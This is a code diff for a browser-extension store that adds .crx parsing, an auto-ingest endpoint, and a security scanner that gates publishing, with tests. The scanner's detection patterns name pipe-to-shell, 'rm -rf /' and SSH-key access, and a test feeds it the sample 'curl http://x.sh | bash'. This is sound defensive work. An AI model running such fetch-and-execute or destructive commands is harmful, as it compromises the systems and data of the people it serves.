diff --git a/apps/extensions/public/store.js b/apps/extensions/public/store.js index 51be110..2ef873d 100644 --- a/apps/extensions/public/store.js +++ b/apps/extensions/public/store.js @@ -7,6 +7,70 @@ function esc(s) { const d = document.createElement('div'); d.textContent = s == function qs(name) { return new URLSearchParams(location.search).get(name); } function initials(name) { return (name || '?').trim().split(/\s+/).slice(0, 2).map((w) => w[0] || '').join('').toUpperCase(); } +// Logo if the listing has one (auto-ingested from the .crx icons), else initials. +function avatar(ext, px) { + const style = px ? ` style="width:${px}px;height:${px}px"` : ''; + if (ext.iconUrl) return ``; + return `
${esc(initials(ext.name))}
`; +} + +// ── AI auto-ingest: paste a .crx URL, we fill the form + scan (no forms) ── +function renderScanResult(scan) { + const c = scan.countsBySeverity || {}; + const chip = (sev, n) => (n ? `${n} ${sev}` : ''); + const findings = (scan.findings || []).slice(0, 12) + .map((f) => `
  • ${esc(f.severity)} ${esc(f.rule)} — ${esc(f.detail)}${f.file ? ` (${esc(f.file)})` : ''}
  • `).join(''); + const verdict = scan.green + ? '

    ✅ Green light — passes the security scan and can be published.

    ' + : '

    ⛔ Blocked — critical issues must be fixed before publishing.

    '; + return `${verdict} +
    ${chip('critical', c.critical)} ${chip('high', c.high)} ${chip('medium', c.medium)} ${chip('low', c.low)}
    + ${findings ? `` : '

    No findings.

    '}`; +} + +function wireAutoIngest(form) { + const wrap = document.createElement('div'); + wrap.className = 'panel'; + wrap.style.marginBottom = '14px'; + wrap.innerHTML = `

    1 · Auto-fill from your .crx ✨

    +

    Paste your published .crx URL — we read its manifest, icons, and code to fill everything below and run the security scan. A green scan is required to publish.

    +
    + + +
    +
    +
    `; + form.parentNode.insertBefore(wrap, form); + + const submitBtn = form.querySelector('button[type="submit"]'); + wrap.querySelector('#ingestBtn').addEventListener('click', async () => { + const url = wrap.querySelector('#ingestUrl').value.trim(); + const out = wrap.querySelector('#ingestOut'); + const preview = wrap.querySelector('#ingestPreview'); + if (!url) { out.innerHTML = '

    Paste a .crx URL first.

    '; return; } + out.innerHTML = '

    Reading .crx + scanning…

    '; + try { + const { listing, scan } = await api('/extensions/ingest', { + method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ crxUrl: url }), + }); + form.name.value = listing.name || ''; + form.summary.value = listing.summary || ''; + form.description.value = listing.description || ''; + form.manifest.value = listing.manifestJson || ''; + if (form.crxUrl) form.crxUrl.value = url; + form.dataset.iconUrl = listing.iconDataUri || ''; + preview.innerHTML = `${listing.iconDataUri ? `` : ''} +
    ${esc(listing.name)} v${esc(listing.version)}
    + ${(listing.permissions || []).length} permission(s)
    `; + out.innerHTML = renderScanResult(scan); + if (submitBtn) submitBtn.disabled = !scan.green; + } catch (e) { + out.innerHTML = `

    ${esc(e.message)}

    `; + if (submitBtn) submitBtn.disabled = true; + } + }); +} + async function api(path, opts = {}) { const res = await fetch(API + path, { credentials: 'include', ...opts }); const data = await res.json().catch(() => ({})); @@ -31,7 +95,7 @@ function card(ext) { const flags = ext.flags > 0 ? `⚑ ${ext.flags}` : ''; return `
    -
    ${esc(initials(ext.name))}
    + ${avatar(ext)}

    ${esc(ext.name)}

    ${esc(ext.summary || '')}

    @@ -73,7 +137,7 @@ async function initDetail() { const dl = v ? `${API}/extensions/${encodeURIComponent(ext.slug)}/download` : '#'; root.innerHTML = `
    -
    ${esc(initials(ext.name))}
    + ${avatar(ext, 56)}

    ${esc(ext.name)}

    ${esc(ext.summary || '')}

    @@ -174,6 +238,7 @@ async function initSubmit() { return; } await renderPublisher(); + wireAutoIngest(form); form.addEventListener('submit', async (e) => { e.preventDefault(); out.innerHTML = '

    Working…

    '; @@ -190,7 +255,7 @@ async function initSubmit() { // 1) create draft (this assigns the slug we need for the upload path) const draft = await api('/extensions', { method: 'POST', headers: { 'content-type': 'application/json' }, - body: JSON.stringify({ name: fd.get('name'), summary: fd.get('summary'), description: fd.get('description'), homepageUrl: fd.get('homepageUrl') }), + body: JSON.stringify({ name: fd.get('name'), summary: fd.get('summary'), description: fd.get('description'), homepageUrl: fd.get('homepageUrl'), iconUrl: form.dataset.iconUrl || null }), }); // If uploading to files.profullstack.com, pause so they can scp to the diff --git a/apps/extensions/public/submit.html b/apps/extensions/public/submit.html index 6befd41..4cff70f 100644 --- a/apps/extensions/public/submit.html +++ b/apps/extensions/public/submit.html @@ -41,7 +41,7 @@

    2 · Listing

    -
    +

    3 · Upload your bundle

    Package your extension the normal Chromium way (a .crx for install + auto-update, and/or a .zip for sideloading), then upload it with the one-liner below. The slug comes from your name; we'll show the exact path after you name it.

    diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9c5e2a6..19222c2 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -264,6 +264,9 @@ importers: deepagents: specifier: ^1.10.5 version: 1.10.5(langsmith@0.7.12(openai@6.45.0(ws@8.21.0)(zod@4.4.3))(ws@8.21.0))(openai@6.45.0(ws@8.21.0)(zod@4.4.3))(react@19.2.7)(ws@8.21.0) + fflate: + specifier: ^0.8.3 + version: 0.8.3 hono: specifier: ^4.6.14 version: 4.12.27 @@ -2115,6 +2118,9 @@ packages: fetch-nodeshim@0.4.10: resolution: {integrity: sha512-m6I8ALe4L4XpdETy7MJZWs6L1IVMbjs99bwbpIKphxX+0CTns4IKDWJY0LWfr4YsFjfg+z1TjzTMU8lKl8rG0w==} + fflate@0.8.3: + resolution: {integrity: sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==} + file-entry-cache@8.0.0: resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} engines: {node: '>=16.0.0'} @@ -2416,6 +2422,7 @@ packages: libsql@0.4.7: resolution: {integrity: sha512-T9eIRCs6b0J1SHKYIvD8+KCJMcWZ900iZyxdnSCdqxN12Z1ijzT+jY5nrk72Jw4B0HGzms2NgpryArlJqvc3Lw==} + cpu: [x64, arm64, wasm32] os: [darwin, linux, win32] lighthouse-logger@1.4.2: @@ -5553,6 +5560,8 @@ snapshots: fetch-nodeshim@0.4.10: {} + fflate@0.8.3: {} + file-entry-cache@8.0.0: dependencies: flat-cache: 4.0.1 diff --git a/services/api/package.json b/services/api/package.json index cf09b7e..7e55973 100644 --- a/services/api/package.json +++ b/services/api/package.json @@ -21,6 +21,7 @@ "@libsql/client": "^0.14.0", "@logicsrc/agentswarm": "^0.1.0", "deepagents": "^1.10.5", + "fflate": "^0.8.3", "hono": "^4.6.14" }, "devDependencies": { diff --git a/services/api/src/store/crx.test.ts b/services/api/src/store/crx.test.ts new file mode 100644 index 0000000..f886f42 --- /dev/null +++ b/services/api/src/store/crx.test.ts @@ -0,0 +1,52 @@ +import { describe, it, expect } from 'vitest'; +import { zipSync, strToU8 } from 'fflate'; +import { crxToZip, extractListingFromCrx } from './crx.js'; + +// Build a minimal CRX3 (Cr24 + fake header + zip) for testing. +function makeCrx(files: Record, headerLen = 8): Uint8Array { + const zip = zipSync(files); + const head = new Uint8Array(12 + headerLen); + head.set(strToU8('Cr24'), 0); + new DataView(head.buffer).setUint32(4, 3, true); // version 3 + new DataView(head.buffer).setUint32(8, headerLen, true); + const out = new Uint8Array(head.length + zip.length); + out.set(head, 0); + out.set(zip, head.length); + return out; +} + +const PNG = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10, 1, 2, 3]); + +describe('crx ingest', () => { + it('extracts manifest + icon from a crx', () => { + const manifest = { + manifest_version: 3, + name: 'Test Ext', + version: '1.2.3', + description: 'A test extension', + permissions: ['storage'], + host_permissions: ['https://example.com/*'], + icons: { '16': 'icons/16.png', '128': 'icons/128.png' }, + }; + const crx = makeCrx({ + 'manifest.json': strToU8(JSON.stringify(manifest)), + 'icons/128.png': PNG, + 'background.js': strToU8('console.log(1)'), + }); + const l = extractListingFromCrx(crx); + expect(l.name).toBe('Test Ext'); + expect(l.version).toBe('1.2.3'); + expect(l.summary).toBe('A test extension'); + expect(l.permissions).toEqual(['storage', 'https://example.com/*']); + expect(l.iconDataUri).toMatch(/^data:image\/png;base64,/); + }); + + it('rejects a non-crx buffer', () => { + expect(() => crxToZip(strToU8('not a crx at all'))).toThrow(/Cr24/); + }); + + it('rejects a non-MV3 manifest', () => { + const crx = makeCrx({ 'manifest.json': strToU8(JSON.stringify({ manifest_version: 2, name: 'x', version: '1' })) }); + expect(() => extractListingFromCrx(crx)).toThrow(/MV3-only/); + }); +}); diff --git a/services/api/src/store/crx.ts b/services/api/src/store/crx.ts new file mode 100644 index 0000000..0218384 --- /dev/null +++ b/services/api/src/store/crx.ts @@ -0,0 +1,133 @@ +// CRX auto-ingest: a .crx (Chromium extension package) is `Cr24` + a signed +// protobuf header + a ZIP. We parse it to auto-fill a listing from the +// extension's own manifest.json + icons — so publishers don't fill out forms. +// +// Pure parsing (fetch is separate + guarded) so it's unit-testable. +import { unzipSync, strFromU8 } from 'fflate'; + +export interface IngestedListing { + name: string; + summary: string | null; + description: string | null; + version: string; + manifestVersion: number; + /** union of permissions + host_permissions */ + permissions: string[]; + /** the raw manifest.json text (what the version record stores) */ + manifestJson: string; + /** largest icon as a data: URI, or null if the crx has none */ + iconDataUri: string | null; +} + +const CRX_MAGIC = 'Cr24'; +const MAX_ICON_BYTES = 512 * 1024; // don't inline absurd icons as data URIs + +/** Extract the embedded ZIP from a CRX2/CRX3 buffer. */ +export function crxToZip(buf: Uint8Array): Uint8Array { + if (buf.length < 16 || strFromU8(buf.slice(0, 4)) !== CRX_MAGIC) { + throw new Error('not a .crx file (missing Cr24 magic)'); + } + const dv = new DataView(buf.buffer, buf.byteOffset, buf.byteLength); + const version = dv.getUint32(4, true); + if (version === 2) { + // CRX2: magic(4) ver(4) pubKeyLen(4) sigLen(4) then key+sig then zip. + const pubKeyLen = dv.getUint32(8, true); + const sigLen = dv.getUint32(12, true); + return buf.slice(16 + pubKeyLen + sigLen); + } + if (version === 3) { + // CRX3: magic(4) ver(4) headerLen(4) then header then zip. + const headerLen = dv.getUint32(8, true); + return buf.slice(12 + headerLen); + } + throw new Error(`unsupported CRX version ${version}`); +} + +function iconToDataUri(path: string, bytes: Uint8Array): string | null { + if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null; + const ext = path.toLowerCase().split('.').pop() || ''; + const mime = + ext === 'png' ? 'image/png' : + ext === 'jpg' || ext === 'jpeg' ? 'image/jpeg' : + ext === 'svg' ? 'image/svg+xml' : + ext === 'webp' ? 'image/webp' : + ext === 'gif' ? 'image/gif' : null; + if (!mime) return null; + const b64 = Buffer.from(bytes).toString('base64'); + return `data:${mime};base64,${b64}`; +} + +/** Pick the highest-resolution icon declared in the manifest. */ +function pickIcon(manifest: any, files: Record): string | null { + const icons: Record = manifest.icons || {}; + const bySize = Object.keys(icons) + .map((k) => [parseInt(k, 10) || 0, icons[k]] as const) + .filter((e): e is readonly [number, string] => typeof e[1] === 'string') + .sort((a, b) => b[0] - a[0]); + for (const [, rel] of bySize) { + const path = rel.replace(/^\.?\//, ''); + if (files[path]) { + const uri = iconToDataUri(path, files[path]); + if (uri) return uri; + } + } + return null; +} + +/** Parse a .crx buffer into an auto-filled listing draft. */ +export function extractListingFromCrx(buf: Uint8Array): IngestedListing { + const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') }); + const manifestBytes = files['manifest.json']; + if (!manifestBytes) throw new Error('crx has no manifest.json'); + const manifestJson = strFromU8(manifestBytes); + let manifest: any; + try { + manifest = JSON.parse(manifestJson); + } catch (e: any) { + throw new Error(`manifest.json is not valid JSON: ${e.message}`); + } + if (manifest.manifest_version !== 3) { + throw new Error(`the store is MV3-only (crx manifest_version = ${manifest.manifest_version})`); + } + const permissions: string[] = [ + ...(Array.isArray(manifest.permissions) ? manifest.permissions : []), + ...(Array.isArray(manifest.host_permissions) ? manifest.host_permissions : []), + ].filter((p) => typeof p === 'string'); + + const description: string | null = typeof manifest.description === 'string' ? manifest.description : null; + return { + name: String(manifest.name || '').trim(), + summary: description ? description.slice(0, 140) : null, + description, + version: String(manifest.version || ''), + manifestVersion: 3, + permissions: [...new Set(permissions)], + manifestJson, + iconDataUri: pickIcon(manifest, files), + }; +} + +/** Download a .crx over http(s) with guards. */ +export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise { + let u: URL; + try { + u = new URL(url); + } catch { + throw new Error('crxUrl must be a valid URL'); + } + if (u.protocol !== 'https:' && u.protocol !== 'http:') { + throw new Error('crxUrl must be http(s)'); + } + const res = await fetch(u, { redirect: 'follow' }); + if (!res.ok) throw new Error(`could not fetch crx (${res.status})`); + const len = Number(res.headers.get('content-length') || 0); + if (len && len > maxBytes) throw new Error('crx is too large'); + const buf = new Uint8Array(await res.arrayBuffer()); + if (buf.length > maxBytes) throw new Error('crx is too large'); + return buf; +} + +/** Download a .crx and extract its listing. */ +export async function ingestCrxUrl(url: string): Promise { + return extractListingFromCrx(await fetchCrx(url)); +} diff --git a/services/api/src/store/routes.ts b/services/api/src/store/routes.ts index 5ba833b..e759918 100644 --- a/services/api/src/store/routes.ts +++ b/services/api/src/store/routes.ts @@ -23,6 +23,9 @@ import { } from './payments.js'; import { enqueueScan } from './vu1nz.js'; import { mirrorListing } from './mirror.js'; +import { fetchCrx, extractListingFromCrx } from './crx.js'; +import { scanCrx } from './scanner.js'; +import { createScan, updateScan } from './db.js'; const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev'; @@ -120,6 +123,26 @@ store.post('/extensions', async (c) => { return c.json({ ok: true, id: ext.id, slug: ext.slug }); }); +/* ---------- AI auto-ingest: fill the whole listing from a .crx ---------- + Point us at a .crx URL and we read its manifest.json + icons + code: + auto-fill name/summary/description/version/permissions/logo AND run the + security scan. No forms. The publish gate is `scan.green`. */ +store.post('/extensions/ingest', async (c) => { + const user = await currentUser(c); + if (!user) return c.json({ error: 'unauthorized' }, 401); + const body = await c.req.json().catch(() => ({})); + const crxUrl = String(body.crxUrl || '').trim(); + if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400); + try { + const buf = await fetchCrx(crxUrl); + const listing = extractListingFromCrx(buf); + const scan = scanCrx(buf, listing.permissions); + return c.json({ ok: true, listing, scan }); + } catch (e: any) { + return c.json({ error: e?.message || 'could not ingest .crx' }, 422); + } +}); + /* ---------- publisher SSH identity (files.profullstack.com) ---------- Each publisher gets one AgentBBS member, provisioned from their SSH public key, so they can `scp` bundles to /public/extensions//. */ @@ -271,6 +294,27 @@ store.post('/extensions/:id/versions', async (c) => { }, 400); } + // ── Security scan GATE ────────────────────────────────────────────── + // If we can fetch a .crx, scan its code + permissions and BLOCK the submit + // on any critical finding (green light required to publish). Zip-only + // bundles fall back to the async (non-gating) vu1nz scan. + let scanResult: Awaited> | null = null; + if (crxUrl) { + try { + const buf = await fetchCrx(crxUrl); + scanResult = scanCrx(buf, v.permissions); + } catch (e: any) { + return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422); + } + if (!scanResult.green) { + return c.json({ + error: 'scan_failed', + message: 'Security scan found blocking (critical) issues. Fix them and resubmit.', + scan: scanResult, + }, 422); + } + } + const version = await addVersion({ extensionId: ext.id, version: v.manifest.version, @@ -284,10 +328,21 @@ store.post('/extensions/:id/versions', async (c) => { source: body.source === 'pr' ? 'pr' : 'upload', }); - // Fire-and-forget async vu1nz scan (non-gating). - await enqueueScan(ext.id, version); + if (scanResult) { + // Persist the gating scan result for the store badge. + const scanId = await createScan(ext.id, version.id); + await updateScan(scanId, { + status: 'done', + score: scanResult.green ? 100 : 40, + severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean', + findingsJson: JSON.stringify(scanResult.findings), + }); + } else { + // Zip-only: fall back to the async (non-gating) vu1nz scan. + await enqueueScan(ext.id, version); + } - return c.json({ ok: true, versionId: version.id, version: version.version, warnings: v.warnings }); + return c.json({ ok: true, versionId: version.id, version: version.version, warnings: v.warnings, scan: scanResult }); }); /* ---------- pay the $1 listing fee ---------- */ diff --git a/services/api/src/store/scanner.test.ts b/services/api/src/store/scanner.test.ts new file mode 100644 index 0000000..95a1098 --- /dev/null +++ b/services/api/src/store/scanner.test.ts @@ -0,0 +1,43 @@ +import { describe, it, expect } from 'vitest'; +import { strToU8 } from 'fflate'; +import { scanFiles, scanPermissions } from './scanner.js'; + +describe('extension scanner (publish gate)', () => { + it('is green for a normal extension (fetch/base64/crypto are fine)', () => { + const files = { + 'background.js': strToU8('const x = await fetch(url); const b = atob(s); globalThis.crypto.subtle;'), + 'popup.js': strToU8('String.fromCharCode(65); Buffer.from(s, "base64");'), + }; + const r = scanFiles(files); + expect(r.green).toBe(true); + expect(r.status).toBe('clean'); + }); + + it('BLOCKS on a critical pattern (pipe-to-shell)', () => { + const files = { 'evil.js': strToU8('const cmd = "curl http://x.sh | bash";') }; + const r = scanFiles(files); + expect(r.green).toBe(false); + expect(r.status).toBe('malicious'); + expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true); + }); + + it('BLOCKS on a bundled native binary', () => { + const files = { 'bin/helper.exe': new Uint8Array([1, 2, 3]) }; + const r = scanFiles(files); + expect(r.green).toBe(false); + expect(r.findings.some((f) => f.rule === 'bundled-binary')).toBe(true); + }); + + it('flags eval as high but stays green (advisory, not blocking)', () => { + const r = scanFiles({ 'a.js': strToU8('eval("2+2")') }); + expect(r.status).toBe('suspicious'); + expect(r.green).toBe(true); + }); + + it('flags broad host access + sensitive perms', () => { + const f = scanPermissions(['', 'debugger', 'cookies']); + expect(f.some((x) => x.rule === 'broad-host-access' && x.severity === 'high')).toBe(true); + expect(f.some((x) => x.rule === 'perm-debugger')).toBe(true); + expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true); + }); +}); diff --git a/services/api/src/store/scanner.ts b/services/api/src/store/scanner.ts new file mode 100644 index 0000000..c01fa90 --- /dev/null +++ b/services/api/src/store/scanner.ts @@ -0,0 +1,123 @@ +// Extension security scanner — the publish gate. Ports the heuristic engine +// from ugig.net's skill scanner (BuiltInScanner + CompositeScanner + optional +// SecureClaw enrichment) and tunes the GATE for browser extensions. +// +// Why tuned: the raw skill ruleset flags things every extension legitimately +// does (fetch, globalThis, atob/btoa, base64, hex escapes — ubiquitous in +// bundled crypto like @noble). So we surface high/medium as *advisory* and +// only BLOCK on `critical` (pipe-to-shell, `rm -rf /`, `.ssh/`, bundled native +// binaries) plus a couple of extension-specific criticals. A listing goes +// green (publishable) iff there are no critical findings. +import { createHash } from 'node:crypto'; +import { unzipSync, strFromU8 } from 'fflate'; +import { crxToZip } from './crx.js'; + +export type Severity = 'low' | 'medium' | 'high' | 'critical'; +export type ScanStatus = 'clean' | 'suspicious' | 'malicious'; + +export interface ScanFinding { + rule: string; + severity: Severity; + detail: string; + file?: string; +} + +export interface ExtensionScanResult { + status: ScanStatus; + /** true = safe to publish (no critical findings) */ + green: boolean; + fileHash: string; + findings: ScanFinding[]; + countsBySeverity: Record; + scannerVersion: string; +} + +export const SCANNER_VERSION = 'tron-ext-scanner-0.1.0'; + +const DANGEROUS_PATTERNS: { pattern: RegExp; rule: string; severity: Severity; detail: string }[] = [ + // ── Critical (BLOCK) ── + { pattern: /curl\s+.*\|\s*(ba)?sh/i, rule: 'pipe-to-shell', severity: 'critical', detail: 'Pipe-to-shell (curl) in bundled code' }, + { pattern: /wget\s+.*\|\s*(ba)?sh/i, rule: 'wget-pipe-to-shell', severity: 'critical', detail: 'Pipe-to-shell (wget) in bundled code' }, + { pattern: /rm\s+-rf\s+\//i, rule: 'destructive-rm', severity: 'critical', detail: 'Destructive `rm -rf /` in bundled code' }, + { pattern: /\.ssh\/(id_|authorized_keys|known_hosts)/i, rule: 'ssh-key-access', severity: 'critical', detail: 'SSH key path reference' }, + // ── High (advisory) ── + { pattern: /\beval\s*\(/, rule: 'eval', severity: 'high', detail: 'Use of eval()' }, + { pattern: /new\s+Function\s*\(/, rule: 'function-constructor', severity: 'high', detail: 'Function constructor (dynamic code)' }, + { pattern: /chrome\.debugger|browser\.debugger/i, rule: 'debugger-api', severity: 'high', detail: 'Uses the debugger API' }, + { pattern: /nativeMessaging/i, rule: 'native-messaging', severity: 'high', detail: 'Native messaging (talks to a native host)' }, + // ── Medium (advisory) ── + { pattern: /chrome\.cookies|browser\.cookies/i, rule: 'cookies-api', severity: 'medium', detail: 'Reads/writes cookies' }, + { pattern: /document\.cookie/i, rule: 'document-cookie', severity: 'medium', detail: 'Accesses document.cookie' }, + { pattern: /webRequest|declarativeNetRequest/i, rule: 'network-interception', severity: 'medium', detail: 'Intercepts network requests' }, +]; + +// Native binaries have no business inside an MV3 extension bundle. +const BLOCKED_EXT = new Set(['.exe', '.dll', '.so', '.dylib', '.bat', '.cmd', '.ps1', '.sh', '.com', '.scr', '.node']); +const TEXT_EXT = new Set(['.js', '.mjs', '.cjs', '.ts', '.json', '.html', '.htm', '.css', '.txt', '.md', '.wasm']); + +function extname(name: string): string { + const i = name.lastIndexOf('.'); + return i >= 0 ? name.slice(i).toLowerCase() : ''; +} + +/** Scan the already-unzipped files of an extension bundle. */ +export function scanFiles(files: Record): Omit { + const findings: ScanFinding[] = []; + for (const [name, bytes] of Object.entries(files)) { + const ext = extname(name); + if (BLOCKED_EXT.has(ext)) { + findings.push({ rule: 'bundled-binary', severity: 'critical', detail: `Native binary in bundle (${ext})`, file: name }); + continue; + } + // Scan text-like files (skip huge assets); .wasm flagged as advisory, not read. + if (ext === '.wasm') { + findings.push({ rule: 'wasm-module', severity: 'medium', detail: 'Bundled WebAssembly module', file: name }); + continue; + } + if (!TEXT_EXT.has(ext) || bytes.length > 8 * 1024 * 1024) continue; + const content = strFromU8(bytes); + for (const { pattern, rule, severity, detail } of DANGEROUS_PATTERNS) { + if (pattern.test(content)) findings.push({ rule, severity, detail, file: name }); + } + } + return summarize(findings); +} + +/** Extra findings derived from the manifest's requested permissions. */ +export function scanPermissions(permissions: string[]): ScanFinding[] { + const out: ScanFinding[] = []; + const set = new Set(permissions); + if (set.has('') || permissions.some((p) => p === '*://*/*' || p === 'http://*/*' || p === 'https://*/*')) { + out.push({ rule: 'broad-host-access', severity: 'high', detail: 'Requests access to all sites ()' }); + } + for (const p of ['debugger', 'nativeMessaging', 'proxy', 'management']) { + if (set.has(p)) out.push({ rule: `perm-${p}`, severity: 'high', detail: `Requests the "${p}" permission` }); + } + for (const p of ['cookies', 'history', 'webRequest', 'declarativeNetRequest', 'tabs', 'scripting', 'downloads', 'clipboardRead']) { + if (set.has(p)) out.push({ rule: `perm-${p}`, severity: 'medium', detail: `Requests the "${p}" permission` }); + } + return out; +} + +function summarize(findings: ScanFinding[]): Omit { + const counts: Record = { low: 0, medium: 0, high: 0, critical: 0 }; + for (const f of findings) counts[f.severity]++; + const status: ScanStatus = counts.critical > 0 ? 'malicious' : counts.high > 0 ? 'suspicious' : 'clean'; + return { + status, + green: counts.critical === 0, // publishable iff nothing critical + findings, + countsBySeverity: counts, + scannerVersion: SCANNER_VERSION, + }; +} + +/** Scan a full .crx buffer: unzip, scan code + permissions, verdict. */ +export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult { + const fileHash = createHash('sha256').update(buf).digest('hex'); + const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') }); + const base = scanFiles(files); + const permFindings = scanPermissions(permissions); + const merged = [...base.findings, ...permFindings]; + return { ...summarize(merged), fileHash }; +}